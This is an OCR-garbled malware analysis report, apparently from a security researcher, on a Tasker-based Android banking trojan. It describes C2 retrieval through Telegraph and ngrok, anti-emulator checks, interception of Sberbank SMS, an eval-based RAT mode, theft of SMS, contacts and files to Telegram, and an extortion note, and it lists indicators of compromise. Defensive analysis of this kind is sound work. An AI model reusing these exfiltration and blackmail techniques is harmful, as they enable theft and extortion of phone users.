Name %report To * )’ Banom npo...
If %HACKING Set |

152 Variable Set

= MeTéxwmi...
If %LICENSE Set |

MName %report To *

3. End If

L

918 & ®

& Action Edit )

249, Variable Set

eHsaM (licensedate). =
Bopkep: %WORK ER

Append

Structure Output (JSON, etc)

Continue Task After Error

If

If the license has expired or the hash values do not match, the program
execution stops and the administrator receives a notification about the use of
the expired or hacked version of the malicious application. This notification
includes the user ID, operator ID, and information about the infected device.

O

J*%0a%0alD: ¥

Based on the presence of such a module, it can be (D
concluded that this malware may be sold to third
parties, presumably for a limited period in accordance
with a paid tariff.
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CASE #2 HAHACKING
COMMUNICATION WITH C&C SERVER =

As mentioned, in the same module, the connection is configured to
interact with the C2 server. The hostname and port for connecting to
the C2 server are extracted by going through the steps of an
obfuscated algorithm that performs actions on the variables key,
symbols and serverinput, the values of which are set initially.

823 © il
<« Task Edit

Qcancet Q  XRPROPERTIES i 839 ©®
Crapt

Task Edit

Crapr

15. Variable Set <«
Name %key To I 5

16. JavaScriptlet 97. Variable Set . e
Code function _0x1452{_0x36881,_0x2b270a){var _Oxd7bafd=_0xd7ba();return _0x1452=function... Name %ADMINCHATID To %json.4at_ID_agmuHkm =
17. Variable Convert 98. Variable Set =
Name %key Function Base64 Decode Name %CHANNELCHATID To %json.YaT_ID_xkaHana | ===
18. Variable Set 99 Variable Set —
Name %symbols To _ Name %SMSCHATID To %json.MaT_ID_CMC =
19. Variable Split T me e 100. Variable Set
Naime %eymbols Spliter | Name %CALLSCHATID To %json.Yar_ID_3BoHKoB
20. Multiple Variables Set e -
Names %SYMONE,%SYMTWO Values %symbols() bt .
Name %CONTACTSCHATID To %json.Mat_ID_xonTakTos
21, Variable Convert = -
Name %SYMONE Functicn Base64 Decode 102 Variable Set
S UaRElCore T Name %MESSAGESCHATID To %json.Mat_ID_coobuyeHuil | ===
Name %SYMTWO Function Base64 Decode 103 Variable Set ==
23, Variable Set Name %CAMERACHATID To %json.Yat_ID_kamepsl =
. ’ ) /
Name %symone To %SYMONE 104, Variable Set ==
24. Variable Set MName %SCREENSHOTCHATID To %json.Yat_ID_cKpHHWOTOR ==
Name %symtwo To %S‘l"MTWO» 105 Variable Set |
25. Variable Set Name %DOWNLOADCHATID To %json,Yat_ID_sarpyaox |
Name %serverinput To o @& =
10&. Variable Set

26. JavaScriptlet

Name %OTHERCHATID To %json.MaT_ID_npouero
Code var input; function _0x2a0f(_0x18596f,_0x2c5835){var _0x13eb65=_0x13eb();return ... i po

27, Variable C ¢ 107. Variable Set
L/, varable Lonver .
Name %input Function Base64 Decode Name %CARDINPUTCHATID To %json.Mat_ID_eeoga_xapTel
28. JavaSeriptlet 102. Variable Set ,
Code (function(_0x26a41a,_0x26f20f){const _0x1b139¢=_0x1b29,_0x318d1d=_0x26a41a();while(!L... Name %DEBUGCHATID To %json.Yat_ID_oTnagxn
29, Variable Set 109. Variable Set
Name %dataserver To %output Name %CLASSICMODE To %json.Knaccuyeckui_pemunm.Cratyc
30. HTTP Request -
Method GET URL %dataserver [ | O

| I

- O x

The code is easy to deobfuscate: an online service deobfuscate.io
detected that the code was obfuscated using obfuscator.io and
suggested using a special service obf-io.deobfuscate.io.
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CASE #2 HAHACKING
COMMUNICATION WITH C&C SERVER

After deobfuscation and conversion of other parts of the algorithm from the
project steps into JavaScript code, the algorithm ended up looking like this:

var \ ey = Vofeskeskokeokok ! )
- key.split('"').reverse().join('");
- ey = atob(key);
Nl
o 2 var serverinput = "sskckkdokskoksokkek '
A : ) : )
E var input = serverinput.split('').reverse().join('"');
atob(input);

const decipher = AAAA => {
const BBBB = CCCC => CCCC.split('"').map(DDDD => DDDD.charCodeAt(0xQ));
const EEEE FFFF => BBBB(AAAA).reduce((GGGG, HHHH) => GGGG ~ HHHH, FFF);
return IIIT => IIII.match(/.{1,2}/qg).map(JJJJ => parseInt(JJ1]1],
0x1@) ) .map(EEEE) .map (KKKK => String. fromCharCode(KKKK)).join("'");

b

const myDecipher = decipher(key);

var output myDecipher(input);

The result of the algorithm execution, the value of the output
variable - is a link to an article on  telegra[.]ph . This value is
written to the dataserver \variable, and after that, a request is
made to extract the hostname and port of the C2 server. It's worth
noting that the Telegraph article can be edited by its author at any
time. In the case of this application, the C2 server was hosted on
the ngrok-free[.]app service, which creates temporary tunnels
between the local computer and the Internet.

Interaction with the server is organized
through requests to endpoints:

e %URL/get_json - receives JSON with configuration parameters,

such as Telegram chat [Ds, which are written to the
corresponding variables;

%URL/send_text - sends the collected data in JSON format;
%URL/send_file - sends the collected files in JSON format;
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CASE #2 HAHACKING
DEBUGGING DETECTION

Each time a user opens an application, the "OTkpbiTUe npunoxeHus" / "Opened
the application" module is activated, which, among other things, detects the use of
a proxy (that may be used to intercept requests and perform network traffic
analysis) and checks whether the program is running in an emulated environment.

e 9O il | 232 9 O il | 9234 9 O 4l
Task Edit QO o & o~ Action Edit S O i o~ Task Edit Q o o

OTEPLITHE NPMA... 38.If OTHPBITHE NEWN...
21. Variable Set

iffer To Y29tLmd1b3NoaSSod... Condition B QW+

22. Variable Convert Generic
Name %sniffer Function Baseéd Decode "‘.%-DEVMOD| Al;dmil:l—;r.Sﬁ_ﬁ

23. List Apps 4

Type Package Store Result In %apps on

24. For
hd o o
Variable %index ltems 1:%apps(#) o S;ﬁgi:&;d F';lrl
% (i4 +PIIX,
=l v 1996)

%apps(Bindex) eq Ssniffer | or

|;T-_‘[—_. Variable Set

Name %snifferfound To true %DEVMOD OnePlus8Pro [} 5 Seconds
57. Variable Set

27. Goto = =
o
Type End of Loop Name %TOKEN Tom

58. Variable Set

28.End If %DEVMOD VirtualBox —
Name %ehatid Tr:l“

29, End For OR 59, HTTP Post
Server:Port hitps:/fapi.telegram.org
Virtual

30. Variable Set ELEVICD Machine 60. Disable
Name %directory To RG93bmxvYWQ= of
31. Variable Set |
Name %sniffer To SFRUUCBUb29saz2i0l.. %DEVMOD Google
i - mainline

> » OR >l »

61. Stop
Task OTKPBITHE NPHUNOMEHNA

e Detection of the use of a proxy means checking for the presence of a package
com.guoshi.httpcanary among the applications installed on the device, and the
presence of a file HTTP Toolkit Certificate.crt inside the Download folder.

e Detection of execution in a virtual environment involves checking the name
of the infected device against a list of names that may indicate the use of an
emulator, such as: VirtualBox, Virtual Machine, Google mainline
and more.

In the event of detecting signs of the use of a proxy or emulator:

e The values of the parameters used to send messages to the malicious
software operator are modified: Telegram bot tokenTOKEN , chat ID chatid
link to the Telegraph articledataserver

e The operator is notified about the detection of virtual environment

e The execution of the module is forcibly terminated
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CASE #?2

SMS & PHONE CALLS

HAHACKING

The malicious application reacts to incoming calls and its behavior depends on
the caller and is defined in the associated profiles "[NonyyeH 3BoHOK (gpyroe)" /
"Received a call (other)" and "lMonyyeH 3BoHOK (C6ep)" / "Received a call
(Sberbank)":

e If the caller's number differs from 900: the "Received a call
(other)" module is activated, which logs information about the call
to a special chat in Telegram;

o If the caller's number equals 900: the "Received a call
(Sberbank)" module is activated, which notifies the operator of a
failure due to a call from the 900 number and goes into "Sleep”
mode, described further;

1011 0 ® 4l 011 O ® 4l 1012 O ® 4l ———
Tasker . Action Edit Action Edit .

v - -
Off o € 17. Perform Task O @ € 2. Perform Task O @ 4
PROFILES TASKS SCENES VARS

Name Name

BbikntoueHmne .

MocTep MocTtep

Monyuen 3B0HOK (Apyroe L s
y (Apyroe) @ Priority Priority
\ Mony4eH 380HOK

5 eaKkUM 3 =
e Peakuus Ha 3BOHOK 's.

Spriority+1 Yepriority+1

CMC He oTnpaBneHo

Parameter 1 (%par) Parameter 1 (%par1)

MonyuyeHo CMC (gpyroe) {

MonyyeH 3B0HOK (Coep)

"method": ",

" MNonyyeH 380HOK C
) "params”: {

900

Peakuun Ha 380koK.. X

MNepemexnHan
(B %ACTIVATION
3afiaHa 3

Monyuero CMC (C6ep)

Tukwn

"chat_id": "%CALLSCHATID",
"parse_mode": "Markdown",
"text”: "*{, 3admKkcMpoBaH 3BOHOK.
%USERID.%0aBopkep:
6 w0aTenedoH:
%PHONENUMBER (onepatop:
sPROVIDER).%0alloyTta: %EMAIL.
%0a%0alimna aboxeHTa: %name.
%0aHomep aboHeHTa: %phone.”,
"caption™ ™

'%WORKERCHATID",

"parse_mode": "Markdown”",

"text": "*@ Heypaua. 3s0Hok ¢ 900.
©+%0a%0alD: %USERID.%0a%0alMNepexopn
B CMALLMIA PEXUM.",

"caption”; ™

}

Parameter 2 (%par2)

Optional

The response to incoming SMS messages also varies depending

on the sender's number and

is defined

in the modules

"MonyyeHo CMC (gpyroe)" / "Received an SMS (other)" and

"MonyuyeHo CMC (Cbep)" / "Received an SMS (Sberbank)". >>
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CASE #2

SMS & PHONE CALLS

HAHACKING

SMS NOT FROM 900

The contents of SMS messages received from numbers other than
900 are compared with a list of payment transaction message
templates from various banks and services.

The application operates based on the presence of a particular

substring in the SMS:

e responds to messages that require confirmation of the operation
by sending a reply with a specified value

e logs information: notifies the operator of each event based on the
information within messages

e calculates the benefit that the operator could potentially derive

019 6 & 4l
Tasker

v Qi
Off
PROFILES TASKS SCENES WARS

Boikniouenue
Monyyex 3BCHOK (apyroe)
CMC He oTnpaeneHo

Monyyexo CMC (apyroe)

f" Monyuero CMC He
oT GaHka

b Peaxunn Ha CMC (.
Menyven 3ecHoK (Coep)

Monyyexo CMC (C6ep)

Tuku

=

1020 § & 4l
Task Edit Q a o

Peaxiywa Ha CM...

%sms ~ Yek GunaiHa+ |
48. Variable Set
Mame %commission To %...
49, Variable Set
Mame %commission To 60

If %eommission < 60 |

50. Variable Set
Name %PROFIT To %PROF...

51. Variable Set
Mame %SMSREQUEST To

52. Variable Set

Mame %SEC To %TIMES
53. Send SMS

Mumber 7878

54. Else If

%Ems ~ OTNpaBgLTe B OTBET UNWhPY.. |
55. HTTP Post
Server.Port hitps:Vapi.tele...

56. HTTP Post
Server:Port httns:fapi.tele,

A

10:39 O & il |
Action Edit
56. HTTP Post o> 0

Server:Port

https://api.telegram.org

Path

el PGP A FALAIVITTNA T 1A ) TS AL
Nony4en kop noaTeepxaeHns (1)
I*%Na%nalh: 1 ISERIN S NaRanvan:

Data / File

D Q

{"parse_mode"; "Markdown"}

Cookies

Optional

User Agent

Optional

Timeout

Content Type
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CASE #2

SMS & PHONE CALLS

HAHACKING

SMS FROM 900

In the case of incoming SMS messages from the 900 number, the
situation is similar: the contents of each such message are compared
with a list of templates, checked for substrings that would indicate a
particular operation, and processed in accordance with the classified
event.

Malicious module "Received an SMS (Sberbank)" acts almost the same as
the "Received an SMS (other)" module: it notifies the operator about each
event, logs information, calculates the potential benefit and sends SMS replies
if necessary — but also takes into consideration the specifics of interaction

with this particular bank.

This module supports a wider range of possible user interactions with the
target bank, and takes into account more errors that may occur during the
process, compared to the module marked "(other)":

019 © ©

Tasker
Off

PROFILES TASKS

BruiknioueHue

SCENES

Moenyyen 3soHoK (gpyroe)

CMC He oTnpaeneHo
Monyueno CMC (apyroe)
Monyuex 3eoHok (Coep)

Nonyuexo CMC (Céep)

,‘, Noemyweso CMC ot
Coepa

MNepemexHan
(B “ACTIVATION
Fapana 1

Turw

= Peaxuwn Ha CMC (.

021 O 4l
Task Edit e Q, a

Peakuwa Ha CM...

%sms ~ Bananc*:+ |
17. Perform Task
Name Noctep Parameter 1 (%parl) .
/f %DEBUGCHATID neq false |

| 18. Array Clear

Variabie Array %CARDNUMBERS

19. Array Clear
Variable Array %BALANCE

20. Variable Search Replace
Variable %sms Search \d{4}(?=:)

| |El - Variable Search Replace

Variable %sms Search ([?==\s)l-\...

22. Arrays Merge
Names %BALANCE,%CARDNUM...

23. Array Process
Variable Array %cardnumbersbala...

24. Array Process
Variable Array %eardnumbersbala...

25. Variable Set
Name %cardnumbersbalance To

|E'E\. Variable Search Replace

(S -

1027 & © Fa |
" ?:tli:rl:ﬁlrsu:l‘traﬁk O @
Name

Moctep

Priority

Sepriority+1
Parameter 1 (%par1)

{

Parameter 2 (%par2)
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CASE #?2

RAT MODE &

HAHACKING

The malicious application has several modes of operation, the activation
status of which is set when the application is deployed.

Here, among the steps of the module "Received an SMS (other)"
module, you can observe the emergence of an additional behavior
vector — actions available in RAT mode:

* If ratrequest1 equals "CMC" ("SMS"): an arbitrary SMS is sent from an

infected device, and its contents ( ratrequest4

) and the recipient's

number ( ratrequest3 ) are configured by the operator of the malicious

application;

e If ratrequesti

specified by the malware operator;

e |f ratrequest1

equals "3BoHok" ("Call"): an outgoing call is initiated
from an infected device using the phone number (

ratrequest3 )

equals "Kop" ("Code"): arbitrary JavaScript code

( ratrequest2 ) specified as a string by the malware operator is executed
on the infected device using eval() . Script execution is made possible
thanks to JavaScriptlet implemented in Tasker, which supports
JavaScript code execution in task elements and WebView;

The results of commands execution, such as information
about success or failure, are logged into chats

1044 G O 4l
Task Edit O o o

PeakuWa Ha CM...

e

b
%rat eq true |
15. Perform Task
Name Moctep Parameter T (%parl) .

16. Variable Split
Mame %ratrequest Splitter |

19. Send SMS
Mumber %ratrequest3
W
%err Set |

21. Perform Task
Name Moctep Parameter 1.

ame %ACTIVATION To tr..
If %wratrequest3 eq 900 |

1045 © @ Pl |

Task Edit e Q *

PeakUWA Ha CM...
26. Else If

v

“err Set |

29. Perform Task
Name NocTep Parameter 1...

Name NocTtep Parameter 1.

32. End If

33. ElselIf

Code eval(ratrequestz)

| | 31. Petform Task

|.|i “

are oa |

| .

1045 9 O Pl |

Action Edit
& 38. Perform Task ‘O @

Name

b nocrep

Priority

Fpriority+1

Parameter 1 (%par1)

"chat_id"™ ADMINPH.ﬂ-TID

Parameter 2 (%par2)

Optional


https://tasker.joaoapps.com/userguide/en/javascript.html
https://t.me/hahacking

CASE #2 HAHACKING
“SLEEP” MODE 4z

In certain situations, such as when there is a high likelihood
that the wuser will detect malicious elements in the
application, the execution switches to a "Sleep mode".

A notable example of this is an official call from a target
bank, which can be seen in the screenshots provided above:

012 9 & 40
/L Action Edit S ®

2. Perform Task
Name

Moctep
Priority
%priority+1

Parameter 1 (%par1)

id" ",
y "time": "%TIMES",
"team": "B TEAM",
"meth

aatfirse mocle Markdnwn
“text": @@ Heypaua. 380HOK ¢ 900.
) @+%0a%0alD: %USERID.%0a? uDaI'Iepemn
L B CI"IFII.LI,I:"III"I FlE,‘)Kll"IM al

}

Parameter 2 (%par2)

Optional

Depending on the application settings that were set
when it was deployed, the "sleep" mode includes
several interesting behavioral submodules
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CASE #2 HAHACKING

“SLEEP” MODE

STEALING OF SMS MESSAGES

e |If a chat for collecting messages is enabled ( MESSAGESCHATID):

1. The application makes requests to content://sms/inbox and
content://sms/sent and due to this, it receives the contents of
incoming and outgoing SMS messages that are stored on the
infected device, respectively;

2. Writes the received content, respectively, to local files
Bxopgaumne coobmenusa (ID %USERID).txt (Incoming messages)

and Ucxopsume coobuenna (ID %USERID).txt (Outgoing
messages);

3. Sends the generated files to the C2 server;

4. Notifies the malware operator of the successful stealing of SMS
logs from the infected device;

5. Deletes generated local files to cover tracks;

1100 §@ O | 1100 @ & rd | 1059 9 O rFdl |
Task Edit s Action Edit . Action Edit
CnALMA pexum 9 = a . 12. S4L Query \t) @ ' & 21. Perform Task O @

SMESSAGESCHATID neq false |
12. SQL Query
Maode URI Formatted File content:...™

Name

Mocrep
'

%datainbox(#) > 0 | Priority

14. Write File

Sapriority+1
File Brogauwme coobuierns (I...

Columns

15. Perform Task

Parameter 1 (%par1)
Mame Moctep Parameter T (%

address, body
16. Delete File

File Bxopauwme coobuiedms (I... 1100 @ @

Action Edit
18. SQL Query

{

18. SOL Query
Maode URI Formatted File content:...

"chat_id™ "%MESSAGESCHATI D",\*._
. node”: "Markdown”,

'

%datasent(#) = 0 |
wDaTenedon:
k MBER (onepatop:
bPROVIDER).%0alMouTa: %EMAIL.
QakonuuecTBo cooBeHwn:
iasent(#)."

20. Write File )
" | - frsrms/
File Mcxopawwe coobuiermn (.. EONANE AT,

21. Perform Task
Mame NocTtep Parameter T (%.

L+ address, body

Selection
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CASE #2

“SLEEP” MODE

HAHACKING

STEALING OF CONTACTS + BLACKMAIL MODE

e |If a chat for collecting contacts is enabled (CONTACTSCHATID):

1. The application makes requests to

content://com.android.contacts/data/phones
and due to this, it receives the displayed names and

phone numbers from the contact book of the infected device;

_,\
i

i
-

M2 90 '..Fl-
Task Edit QO Q o :

CRALLMA pexdm

%CONTACTSCHATID neq false |

26. 5QL Query
Mode URI Fermatted File content:...

27. For
‘ariable %index items 1:%data...

28 iable Search Replace
Variable %datacontacts(%inde..

29. Variable Search Replace
Varable %datacontacts(%inde...

30. Variable Search Replace
Variable %datacontacts(%inde...

31. Variable Search Replace
Variable %datacontacts(%inde...

32 End For

%datacontacts(#) > 0 |

34.1f v

%BLACKMAIL eq true |

I I':'l: iAlrita Eila

+

1M112 9 & Pl |

Action Edit
26. QL Query 0 @

Mode

URI Formatied

display_name, datad

Selection

display_name NOT LIKE "<null=" AND
display_name NOT LIKE " AND datad
MNOT LIKE "<null=" AND datad NOT LIKE
"o 410,

Selection Parameters

Optional

Order By

display_name ASC

Qutput Column Divider

1192 @ O Ll
Task Edit e Q ¢

CnaLMA pexum
Variable %datacontacts(%inde..

31. Vanable Search Replace
Variable %datacontacts(%inde..

End For

b4
%datacontacts(#) > 0 I

A

%BLACKMAIL eq true |

| 35. Write File

File BAYHAR UMHOOPMA...
36. Open File
File BAYXHAS MHOOPMA...
37.End If

38. Perform Task
Mame Moctep Parameter 1 (%..

9. End If

40, End If

|
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CASE #2

“SLEEP” MODE

HAHACKING

STEALING OF CONTACTS + BLACKMAIL MODE

2. If the blackmail mode is active ( BLACKMAIL ): creates a file called
(IMPORTANT INFORMATION), in which the user is
informed about the hacking of their device, which is proven by a list of their
contacts, and is given one week to transfer funds to a specified card in
exchange for the malware operators deleting the stolen data;

BAKHAA WH®OPMALIUA . txt

3. Notifies the malware operator of the successful stealing of the contact list

from the infected device;

11:13 9 @ il |

Action Edit
& 35. Write File O @

File

BAMHAA MHOOPMALIMA! txt

Text

MNpueetcTeyem, Bnageney %DEVICE.

Ywe norafblBaeTech, 0 YEM NOWAET
peub? BepHo. Mbl nony4wnu KOHTpoNb
Hap YCTPOWCTBOM W NEPexBaTUNKn BCe
OaHHble Ha Héw. Bee nocnegyrowme
Yrpo3bl HE ABNAKOTCA WYTKOW MAK
6HE¢IDM, W MBI NOAKPpenkiM CBEOW CNOEA
A0Ka3aTeneCTEaMK. EHV‘IMEITEJ'I bBHO
M3Y4YWUTEe OaHHOE NOCNaHWe,
MrHoprpoBaTe HalwK TpeGoBaHWA 0YEeHb
He peKomMeHayem.

CnycTa Hefienio Nocne NpoBefeHHoN
aTaku BCe NUYHbIe gaHHble GyayT
OTNPaBNeHbl KOHTAKTaM WU CNWUTbI B
WHTepHeT. He BepuTe? CNUCOK KOHTaKTOB
6yneT NnpUBeEH B KOHUE NOCNaHua.
Kakue faHHbIe OKasanuchb
CKOMNpOoMeTHpoBaHbl? KOpOTKO: BCe.
CMC, nepennckn B MeCCeHAKepax 1
couUManbHblX ceTax, hainbl Ha
YCTPOWCTEE U T.4.

Ecnu He xoTuTe, YToBBI NHYHARA

by o O =t

11113 @ @ Al
Action Edit
5 35. Write File 0 @

Kakue faHHble OKa3anucb
CKOMMNPOMEeTUpOBaHbI? KOpOTKO: BCe.
CMC, nepenvckn B MeCCEeHHepax 1
coLUWanbHbIX ceTax, hainsl Ha
YCTPOWCTBE U T.A.

Ecnu He xoTuTe, 4Tobbl NMYHaA
MHpOpMaLMA CTana M3BecTHa CeMbe,
APY3bAM M NPOCTO HE3HAKOMBIM NIDAAM,
nepeeegute %BLACKMAIL py6nei Ha
kapty %CARD. B npumMeyaHuv K nepesogy
YKaXWTE CBOW HOMep TenedoHa, 4Tobbl
Mbl MO UOEHTHPUUWPOBATL aBTopa
nnatexa. Mocne Nony4YeHHA feHer Bce
AaHHbIe ByAYT yAANeHsl, U Mbl 3a6yaem
Apyr o apyre.

YTo6bl TOYHO HEe OCTaBMTE COMHEHMWIA B
CepbB3HOCTH CUTYaL MK, BOT CNIUCOK
KOHTAKTOB, KOTOPLIE CTanu Ham
M3BECTHbI:

%datacontacts(+

)

Hata ataku: %DATE. He wpauTe 7 aHeR,
nosaboTbTech O KOHPUAEHUNANBHOCTH
CBOMX AaHHbIX NpAMO ceryvac. U He
YTRY#AaiTe cebRA yaaneHHem Nepenvucok
v (PannNoB, OHW XPAHATCA Ha HalMX
CepBepax, rOTOBbIE K PACCLINKE W CNUBY
B ceTb. HapeemcA Ha BnaropazymHoe
pelweHue,

11113 @ O 4l

Action Edit
" 38. Perform Task \‘} @

Name

MocTtep

Priority

%priority+1

Parameter 1 (%par1)

{

‘method": ™,
‘params”; {
"chat_id™ "%CONTACTSCHATID",
“parse_mode": "Markdown",
"text”™: "* @ Mony4eHbl KOHTaKTbI
MaMOoHTa. Da%0alD: %USERID.
%0aBopkep: %WORKER.%0a%0aTenedoH:
%PHONENUMBER (onepatop:
%PROVIDER).%0alMouta: %EMAIL.
%0a%0aCnNWCcoK KOHTAKTOR
(%datacontacts(#)):
%0a%0a%datacontacts(+%0a)",
“caption™ ™
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CASE #2 HAHACKING
“SLEEP” MODE

SMS SPAM

115 @ @ 48 e If the spam against contacts mode is
active (SPAMCONTACTS ):

Task Edit QO A O
CnAWMA pexnm
1. The application makes requests to

content://com.android.contacts/data/phones

%SPAMCONTACTS neq false el ] ;
K | and due to this, it receives the displayed names

42. SQL Query

- —— and phone numbers from the contact book of the
43. Array Process infected deVice;
Variable Array %dataphones Type ; Lo
it . i 2. An SMS message with the contents specified
44. Send SMS .
edier i tionsa(s) by the malware operator is sent to each contact
I %dataphones(#) >0 | from the infected device;
11:40 Q@ ® 4l
46. Perform Task ¢« Task [?dit Q Q o :
Name MeHegep Kpaxu dainos CnsLmi pexum

If %STEALINGFILES eq true |
47 If v

%SPAMRANDOMS neq false |

48. Array Set
Variable Array %phonecodes Value...

49. Array Process
Variable Array %phonecodes Type

%SPAMRANDOMS neq false |

48. Array Set
Variable Array %phonecodes Value...

49. Array Process
Variable Array %phonecodes Type

0. Variable Randomize
Name %randomphone Min 10000...

1. Variable Set
Wame %phone To 7%phonecodes...

2. Send SMS
Wumber %phone

3. Wait

l EN Viariahla Dandamizn

s

x 20 MS
e If the spam against random people -
mode is active (SPAMRANDOMS): -Type Action Label Label Loop

1. In a loop, the application generates
random phone numbers; S Pe s ek

2. An SMS message with the contents Name MocTep Parameter 1 (%parT) { ..
specified by the malware operator is sent If $DEBUGCHATID neq falss |
from the infected device to each person
whose number was processed as a result
of generating phone numbers;

57. End If

_ +
> >
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CASE #2 HAHACKING
“SLEEP” MODE

STEALING @FRIOCAL FILES

o |If the stealing local files mode is active (STEALINGFILES):

1. The execution proceeds to the malicious "MeHeoxep kKpaxu
dannos" / "File Theft Manager” module;

2. Depending on the activation status of special chats, the
application steals files located on the infected device inside
specific directories. It collects the target files into arrays and
sends them to the "AnroputMm kpaxm ¢pamnos” / "File Theft
Algorithm" module, in which the files undergo additional
processing and are sent to the C2 server:

s g 4l 008 9 O Fd | 10:09 @ @ il |
.sk Edit . Task Edit : Task Edit :
4 ANFOPHTM KpaR.. 9 = 3 & MeHenxep Kpa... <) ¢ ) & MeHeasep Kpa... a <) * .

. For s, : 82. Perform Task

Variable %index ltems 1:%fles(#) e faise | Name AAropuTM Kpaxw dainoe
A e % neq false
if %files(#) > 0| 83. Array Clear

2. Variable Set

*. Variable Search Replace
Varable %files(%index) Search \*

3. Variable Search Replace

Variable %files(%index) Search

4. Variable Search Replace

Variable %files(%index) Search \[

. Perform Task

Name Moctep Parameter 1 (%pacy

Name %chatid To %=CAMERACHATID

3. List Files

Directary DCIM/Camera

4. Perform Task

Name ARropWTM Kpamd Gainos

Array Clear
ariable Array %files

ist Files

Directory DCIM/Selfie

7. Perform Task

Name AnropuTM Kpamm Gainos

8. Array Clear

Variable Array %files

Directory DCIM/Video

Variable Array %files

84. List Files

Directory Pictures/Viber

35, Perform Task

Name ANropHTM Kpasw dainoe

. Array Clear

Variable Array *%files

7. List Files

Directory Pictures/Odnoklassniki

8. Perform Task

Name AnropuTsm Kpax dainoe

3. Array Clear

Variable Array %files

. List Files

Directory Pictures/Instagram

91. Perform Task
Name AAropuTM Kpasm dannos

92. End If

9. List Files
0. Perform Task

11. Array Clear
e Arrav %files

1
| Name AnropWTe KpamwW dainos
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CASE #2

“SLEEP” MODE

HAHACKING

STEALING OF | OCAL FlEEE

e |f a chat for collecting photos taken with the device's camera is enabled
(CAMERACHATID ), it steals files within:

DCIM/Camera

DCIM/Selfie
DCIM/Video
DCIM/Panorama

e |f a chat for collecting screenshots is enabled ( SCREENSHOTCHATID ), it steals
files within:  DCIM/Screenshots

e |f a chat for collecting downloaded files is enabled (
steals files within:  Download

DOWNLOADCHATID ), it

e |f a chat for collecting other files is enabled ( OTHERCHATID ), it steals files
within:

WhatsApp/Media/WhatsApp
WhatsApp/Media/WhatsApp
WhatsApp/Media/WhatsApp
WhatsApp/Media/WhatsApp
WhatsApp/Media/WhatsApp
WhatsApp/Media/WhatsApp
WhatsApp/Media/WhatsApp
WhatsApp/Media/WhatsApp
WhatsApp/Media/WhatsApp
WhatsApp/Media/WhatsApp

WhatsApp/Media/WhatsApp
WhatsApp/Media/WhatsApp

Images
Images/Sent
Images/Private
Video
Video/Sent
Video/Private
Audio
Audio/Sent
Audio/Private
Documents
Documents/Sent
Documents/Private

Telegram/Telegram
Telegram/Telegram
Telegram/Telegram
Telegram/Telegram
Telegram/Telegram
Pictures/Telegram
Pictures/Viber

Images
Video
Audio
Documents
Files

Pictures/Odnoklassniki

Pictures/Instagram

- O x
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CASE #2 HAHACKING
OTHER NOTES [3)

MENTIONS IN X (TWITTER)

The list of subjects, G" NI@Fi@70
behind the facade of A

5 G & ? |
WhICh maI{CIO.US . /telegra.ph/MBNKNG-data-server-03-13
functionality is hidden, interesting xml in resources /kid/data.xml
turned out to be quite

diverse in order to reach a dna.sal
wider audience and infect
a greater number of
devices.

A cursory search for

»'») MalwareHunterTeam
mentions of the "DONBASS WAR.apk":
appliCatiOnls Signatures e1daB82a81cc219b26b22c16d1c55774438e75dc4e419b90360e0478fh88c972
led me to several reports
generated by online
sandbox analyzers of
similar APKs, and their
subjects range from
applications related to
Internet dating (private
chats, content
subscription services), to
"hacked" / "premium”
versions of messengers.

10,8 TbicC.

The attackers also exploited other hot topics that may attract
public attention. The Malware Hunter Team account published
a post on X regarding another representative of this family of
malicious applications
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OTHER NOTES

INDICATORS OF COMPROMISE

Filename

SHA1
SHA256

VirusTotal

Filename

SHA1
SHA256

VirusTotal

Filename

SHAT1
SHA256

VirusTotal

BoT Mou cTtuxm.apk

96915bdf480336d8ac518d8ff4e48761
56e229841fe3000451bc1c3ed5d5¢77d5637e4bc
d479eb1519abe69280aad41addace62a976502df9c75
34b3aadd9957fcf46104
virustotal.com/qui/file/d479eb1519abe69280aa

d41addace62a976502df9c7534b3aadd9957fcf46104

3HakomcTBa 18+.apk

8fc4c19826a33ced1845ade93bdf4906
c7e428ac571434deefob0d7028b1fda965eeadad
d59c61f209ecabdcd1e5ffobda2c48c3e21edc382dob
d828d4b927e712ef2e7c
virustotal.com/qui/file/d59c61f209ecabdcdles

ffobda2c48c3e21edc382d0bd828d4b927e712ef2e7cC

OnlyFans (9).apk

d77e319¢cc5d06275f78ab15bd5387244
8bff0412612bb46fc565ef4ch91948879f45d7bc
d72ba25e0ea2d50dab2b3abbcbd62620e3a68393¢c382
eb4a8e81df9ac18ea688
virustotal.com/qui/file/d72ba25e0ea2d50dab2b

3abbcbd62020e3a68393c382eb4a8e81df9ac18eab88
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https://www.virustotal.com/gui/file/d479eb1519abe69280aad41addace62a976502df9c7534b3aadd9957fcf46104
https://www.virustotal.com/gui/file/d479eb1519abe69280aad41addace62a976502df9c7534b3aadd9957fcf46104
https://www.virustotal.com/gui/file/d59c61f209ecabdcd1e5ff0bda2c48c3e21edc382d0bd828d4b927e712ef2e7c/
https://www.virustotal.com/gui/file/d59c61f209ecabdcd1e5ff0bda2c48c3e21edc382d0bd828d4b927e712ef2e7c/
https://www.virustotal.com/gui/file/d72ba25e0ea2d50dab2b3abbcbd62020e3a68393c382eb4a8e81df9ac18ea688
https://www.virustotal.com/gui/file/d72ba25e0ea2d50dab2b3abbcbd62020e3a68393c382eb4a8e81df9ac18ea688

OTHER NOTES

INDICATORS OF COMPROMISE

Filename

SHA1
SHA256

VirusTotal

Filename

SHA1
SHA256

VirusTotal

Filename

SHAT1
SHA256

VirusTotal

OnlyFans (12).apk

65841b046a4069d2a84e01c2e430effc
fb862581¢c245859000062ff250fcb27789678876
243882ca699690dff0fab9c54ae9e206d9c0dbb94794
daa10f9705384b42cc74
virustotal.com/qui/file/243882ca699690dffBfa
09c54ae9e206d9c0dbb94794daa10f9705384b42cc74

ONLYFANS FREE.apk

70319¢31153614a9fd2dfed94d39e399
dda23ef6aa87ea7997d849f3eda8aa5d35fc321b
efaf1e1616426c9e5b49601740617936dbda2c85ece2d
231a8f0bdb6283bcfdf6
virustotal.com/qui/file/efaf1e1616426c9e5b49

60174017936dbda2c85ece2d231a8f0bdb6283bcfdf6

Mo OnlyFans) (2).apk

911f9¢cca3895e65097348c08d4c40881
bc53¢c75¢cb6256013b750c2de52d04bacOb33b760
36303775a3a2059a5840405e6c41f4875093da9dacd76
ba27215e4652713a3dbo
virustotal.com/qui/file/36303775a3a2059a5840

405e6c4f4875093da9dacd76ba27215e4652713a3dbo
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https://www.virustotal.com/gui/file/243882ca699690dff0fa09c54ae9e206d9c0dbb94794daa10f9705384b42cc74
https://www.virustotal.com/gui/file/243882ca699690dff0fa09c54ae9e206d9c0dbb94794daa10f9705384b42cc74
